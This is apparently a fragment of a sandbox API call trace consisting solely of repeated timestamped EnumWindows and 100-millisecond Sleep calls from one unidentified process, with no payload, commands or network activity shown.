[0145.846] Sleep (dwMilliseconds=0x64) [0145.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.851] Sleep (dwMilliseconds=0x64) [0145.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.853] Sleep (dwMilliseconds=0x64) [0145.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.854] Sleep (dwMilliseconds=0x64) [0145.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.856] Sleep (dwMilliseconds=0x64) [0145.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.857] Sleep (dwMilliseconds=0x64) [0145.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.859] Sleep (dwMilliseconds=0x64) [0145.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.861] Sleep (dwMilliseconds=0x64) [0145.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.863] Sleep (dwMilliseconds=0x64) [0145.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.865] Sleep (dwMilliseconds=0x64) [0145.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.881] Sleep (dwMilliseconds=0x64) [0145.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.884] Sleep (dwMilliseconds=0x64) [0145.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.886] Sleep (dwMilliseconds=0x64) [0145.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.887] Sleep (dwMilliseconds=0x64) [0145.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.889] Sleep (dwMilliseconds=0x64) [0145.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.891] Sleep (dwMilliseconds=0x64) [0145.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.893] Sleep (dwMilliseconds=0x64) [0145.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.894] Sleep (dwMilliseconds=0x64) [0145.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.896] Sleep (dwMilliseconds=0x64) [0145.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.898] Sleep (dwMilliseconds=0x64) [0145.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.900] Sleep (dwMilliseconds=0x64) [0145.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.903] Sleep (dwMilliseconds=0x64) [0145.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.906] Sleep (dwMilliseconds=0x64) [0145.907] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.908] Sleep (dwMilliseconds=0x64) [0145.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.909] Sleep (dwMilliseconds=0x64) [0145.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.912] Sleep (dwMilliseconds=0x64) [0145.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.914] Sleep (dwMilliseconds=0x64) [0145.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.916] Sleep (dwMilliseconds=0x64) [0145.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.917] Sleep (dwMilliseconds=0x64) [0145.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.919] Sleep (dwMilliseconds=0x64) [0145.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.921] Sleep (dwMilliseconds=0x64) [0145.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.924] Sleep (dwMilliseconds=0x64) [0145.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.926] Sleep (dwMilliseconds=0x64) [0145.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.928] Sleep (dwMilliseconds=0x64) [0145.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.930] Sleep (dwMilliseconds=0x64) [0145.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.932] Sleep (dwMilliseconds=0x64) [0145.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.933] Sleep (dwMilliseconds=0x64) [0145.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.971] Sleep (dwMilliseconds=0x64) [0145.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.974] Sleep (dwMilliseconds=0x64) [0145.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.975] Sleep (dwMilliseconds=0x64) [0145.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.977] Sleep (dwMilliseconds=0x64) [0145.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.978] Sleep (dwMilliseconds=0x64) [0145.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.980] Sleep (dwMilliseconds=0x64) [0145.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.981] Sleep (dwMilliseconds=0x64) [0145.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.983] Sleep (dwMilliseconds=0x64) [0145.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.986] Sleep (dwMilliseconds=0x64) [0145.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.987] Sleep (dwMilliseconds=0x64) [0145.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.989] Sleep (dwMilliseconds=0x64) [0145.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.992] Sleep (dwMilliseconds=0x64) [0145.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.994] Sleep (dwMilliseconds=0x64) [0145.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.996] Sleep (dwMilliseconds=0x64) [0145.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0145.998] Sleep (dwMilliseconds=0x64) [0145.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.000] Sleep (dwMilliseconds=0x64) [0146.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.001] Sleep (dwMilliseconds=0x64) [0146.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.003] Sleep (dwMilliseconds=0x64) [0146.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.005] Sleep (dwMilliseconds=0x64) [0146.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.009] Sleep (dwMilliseconds=0x64) [0146.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.012] Sleep (dwMilliseconds=0x64) [0146.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.014] Sleep (dwMilliseconds=0x64) [0146.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.018] Sleep (dwMilliseconds=0x64) [0146.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.019] Sleep (dwMilliseconds=0x64) [0146.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.021] Sleep (dwMilliseconds=0x64) [0146.023] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.023] Sleep (dwMilliseconds=0x64) [0146.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.025] Sleep (dwMilliseconds=0x64) [0146.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.026] Sleep (dwMilliseconds=0x64) [0146.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.028] Sleep (dwMilliseconds=0x64) [0146.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.029] Sleep (dwMilliseconds=0x64) [0146.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.031] Sleep (dwMilliseconds=0x64) [0146.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.033] Sleep (dwMilliseconds=0x64) [0146.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.035] Sleep (dwMilliseconds=0x64) [0146.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.036] Sleep (dwMilliseconds=0x64) [0146.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.038] Sleep (dwMilliseconds=0x64) [0146.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.039] Sleep (dwMilliseconds=0x64) [0146.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.041] Sleep (dwMilliseconds=0x64) [0146.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.042] Sleep (dwMilliseconds=0x64) [0146.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.044] Sleep (dwMilliseconds=0x64) [0146.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.045] Sleep (dwMilliseconds=0x64) [0146.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.047] Sleep (dwMilliseconds=0x64) [0146.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.049] Sleep (dwMilliseconds=0x64) [0146.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.050] Sleep (dwMilliseconds=0x64) [0146.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.052] Sleep (dwMilliseconds=0x64) [0146.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.054] Sleep (dwMilliseconds=0x64) [0146.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.056] Sleep (dwMilliseconds=0x64) [0146.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.060] Sleep (dwMilliseconds=0x64) [0146.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.062] Sleep (dwMilliseconds=0x64) [0146.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.064] Sleep (dwMilliseconds=0x64) [0146.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.065] Sleep (dwMilliseconds=0x64) [0146.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.067] Sleep (dwMilliseconds=0x64) [0146.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.069] Sleep (dwMilliseconds=0x64) [0146.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.071] Sleep (dwMilliseconds=0x64) [0146.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.073] Sleep (dwMilliseconds=0x64) [0146.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.074] Sleep (dwMilliseconds=0x64) [0146.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.076] Sleep (dwMilliseconds=0x64) [0146.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.078] Sleep (dwMilliseconds=0x64) [0146.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.079] Sleep (dwMilliseconds=0x64) [0146.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.081] Sleep (dwMilliseconds=0x64) [0146.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.349] Sleep (dwMilliseconds=0x64) [0146.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.350] Sleep (dwMilliseconds=0x64) [0146.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.352] Sleep (dwMilliseconds=0x64) [0146.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.353] Sleep (dwMilliseconds=0x64) [0146.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.355] Sleep (dwMilliseconds=0x64) [0146.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.356] Sleep (dwMilliseconds=0x64) [0146.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.358] Sleep (dwMilliseconds=0x64) [0146.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.359] Sleep (dwMilliseconds=0x64) [0146.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.361] Sleep (dwMilliseconds=0x64) [0146.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.364] Sleep (dwMilliseconds=0x64) [0146.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.365] Sleep (dwMilliseconds=0x64) [0146.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.367] Sleep (dwMilliseconds=0x64) [0146.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.368] Sleep (dwMilliseconds=0x64) [0146.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.370] Sleep (dwMilliseconds=0x64) [0146.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.371] Sleep (dwMilliseconds=0x64) [0146.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.375] Sleep (dwMilliseconds=0x64) [0146.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.384] Sleep (dwMilliseconds=0x64) [0146.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.422] Sleep (dwMilliseconds=0x64) [0146.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.423] Sleep (dwMilliseconds=0x64) [0146.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.425] Sleep (dwMilliseconds=0x64) [0146.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.427] Sleep (dwMilliseconds=0x64) [0146.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.429] Sleep (dwMilliseconds=0x64) [0146.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.431] Sleep (dwMilliseconds=0x64) [0146.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.433] Sleep (dwMilliseconds=0x64) [0146.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.438] Sleep (dwMilliseconds=0x64) [0146.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.440] Sleep (dwMilliseconds=0x64) [0146.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.442] Sleep (dwMilliseconds=0x64) [0146.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.444] Sleep (dwMilliseconds=0x64) [0146.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.445] Sleep (dwMilliseconds=0x64) [0146.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.447] Sleep (dwMilliseconds=0x64) [0146.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.545] Sleep (dwMilliseconds=0x64) [0146.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.547] Sleep (dwMilliseconds=0x64) [0146.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.549] Sleep (dwMilliseconds=0x64) [0146.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.551] Sleep (dwMilliseconds=0x64) [0146.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.553] Sleep (dwMilliseconds=0x64) [0146.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.556] Sleep (dwMilliseconds=0x64) [0146.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.558] Sleep (dwMilliseconds=0x64) [0146.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.560] Sleep (dwMilliseconds=0x64) [0146.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.561] Sleep (dwMilliseconds=0x64) [0146.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.563] Sleep (dwMilliseconds=0x64) [0146.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.565] Sleep (dwMilliseconds=0x64) [0146.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.567] Sleep (dwMilliseconds=0x64) [0146.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.568] Sleep (dwMilliseconds=0x64) [0146.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.570] Sleep (dwMilliseconds=0x64) [0146.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.572] Sleep (dwMilliseconds=0x64) [0146.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.574] Sleep (dwMilliseconds=0x64) [0146.577] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.577] Sleep (dwMilliseconds=0x64) [0146.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.580] Sleep (dwMilliseconds=0x64) [0146.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.582] Sleep (dwMilliseconds=0x64) [0146.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.583] Sleep (dwMilliseconds=0x64) [0146.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.585] Sleep (dwMilliseconds=0x64) [0146.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.588] Sleep (dwMilliseconds=0x64) [0146.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.590] Sleep (dwMilliseconds=0x64) [0146.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.592] Sleep (dwMilliseconds=0x64) [0146.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.595] Sleep (dwMilliseconds=0x64) [0146.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.597] Sleep (dwMilliseconds=0x64) [0146.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.599] Sleep (dwMilliseconds=0x64) [0146.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.602] Sleep (dwMilliseconds=0x64) [0146.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.604] Sleep (dwMilliseconds=0x64) [0146.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.606] Sleep (dwMilliseconds=0x64) [0146.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.608] Sleep (dwMilliseconds=0x64) [0146.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.610] Sleep (dwMilliseconds=0x64) [0146.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.612] Sleep (dwMilliseconds=0x64) [0146.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.614] Sleep (dwMilliseconds=0x64) [0146.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.616] Sleep (dwMilliseconds=0x64) [0146.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.618] Sleep (dwMilliseconds=0x64) [0146.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.619] Sleep (dwMilliseconds=0x64) [0146.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.621] Sleep (dwMilliseconds=0x64) [0146.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.623] Sleep (dwMilliseconds=0x64) [0146.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.625] Sleep (dwMilliseconds=0x64) [0146.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.628] Sleep (dwMilliseconds=0x64) [0146.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.630] Sleep (dwMilliseconds=0x64) [0146.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.631] Sleep (dwMilliseconds=0x64) [0146.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.632] Sleep (dwMilliseconds=0x64) [0146.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.634] Sleep (dwMilliseconds=0x64) [0146.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.703] Sleep (dwMilliseconds=0x64) [0146.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.744] Sleep (dwMilliseconds=0x64) [0146.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.786] Sleep (dwMilliseconds=0x64) [0146.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.854] Sleep (dwMilliseconds=0x64) [0146.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.858] Sleep (dwMilliseconds=0x64) [0146.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.860] Sleep (dwMilliseconds=0x64) [0146.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.861] Sleep (dwMilliseconds=0x64) [0146.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.864] Sleep (dwMilliseconds=0x64) [0146.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.866] Sleep (dwMilliseconds=0x64) [0146.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.868] Sleep (dwMilliseconds=0x64) [0146.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.869] Sleep (dwMilliseconds=0x64) [0146.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.871] Sleep (dwMilliseconds=0x64) [0146.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.872] Sleep (dwMilliseconds=0x64) [0146.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.874] Sleep (dwMilliseconds=0x64) [0146.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.876] Sleep (dwMilliseconds=0x64) [0146.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.878] Sleep (dwMilliseconds=0x64) [0146.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.879] Sleep (dwMilliseconds=0x64) [0146.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.881] Sleep (dwMilliseconds=0x64) [0146.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.882] Sleep (dwMilliseconds=0x64) [0146.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.885] Sleep (dwMilliseconds=0x64) [0146.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.886] Sleep (dwMilliseconds=0x64) [0146.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.900] Sleep (dwMilliseconds=0x64) [0146.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.903] Sleep (dwMilliseconds=0x64) [0146.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.904] Sleep (dwMilliseconds=0x64) [0146.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.906] Sleep (dwMilliseconds=0x64) [0146.907] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.907] Sleep (dwMilliseconds=0x64) [0146.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.909] Sleep (dwMilliseconds=0x64) [0146.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.910] Sleep (dwMilliseconds=0x64) [0146.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.912] Sleep (dwMilliseconds=0x64) [0146.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.913] Sleep (dwMilliseconds=0x64) [0146.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.915] Sleep (dwMilliseconds=0x64) [0146.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.916] Sleep (dwMilliseconds=0x64) [0146.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.919] Sleep (dwMilliseconds=0x64) [0146.920] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.920] Sleep (dwMilliseconds=0x64) [0146.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.923] Sleep (dwMilliseconds=0x64) [0146.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.925] Sleep (dwMilliseconds=0x64) [0146.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.926] Sleep (dwMilliseconds=0x64) [0146.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.928] Sleep (dwMilliseconds=0x64) [0146.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.929] Sleep (dwMilliseconds=0x64) [0146.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0146.993] Sleep (dwMilliseconds=0x64) [0147.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.044] Sleep (dwMilliseconds=0x64) [0147.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.046] Sleep (dwMilliseconds=0x64) [0147.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.048] Sleep (dwMilliseconds=0x64) [0147.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.049] Sleep (dwMilliseconds=0x64) [0147.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.050] Sleep (dwMilliseconds=0x64) [0147.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.052] Sleep (dwMilliseconds=0x64) [0147.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.053] Sleep (dwMilliseconds=0x64) [0147.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.055] Sleep (dwMilliseconds=0x64) [0147.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.057] Sleep (dwMilliseconds=0x64) [0147.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.059] Sleep (dwMilliseconds=0x64) [0147.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.061] Sleep (dwMilliseconds=0x64) [0147.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.062] Sleep (dwMilliseconds=0x64) [0147.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.063] Sleep (dwMilliseconds=0x64) [0147.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.065] Sleep (dwMilliseconds=0x64) [0147.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.066] Sleep (dwMilliseconds=0x64) [0147.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.068] Sleep (dwMilliseconds=0x64) [0147.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.069] Sleep (dwMilliseconds=0x64) [0147.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.071] Sleep (dwMilliseconds=0x64) [0147.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.073] Sleep (dwMilliseconds=0x64) [0147.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.115] Sleep (dwMilliseconds=0x64) [0147.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.117] Sleep (dwMilliseconds=0x64) [0147.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.119] Sleep (dwMilliseconds=0x64) [0147.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.129] Sleep (dwMilliseconds=0x64) [0147.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.131] Sleep (dwMilliseconds=0x64) [0147.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.133] Sleep (dwMilliseconds=0x64) [0147.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.134] Sleep (dwMilliseconds=0x64) [0147.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.136] Sleep (dwMilliseconds=0x64) [0147.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 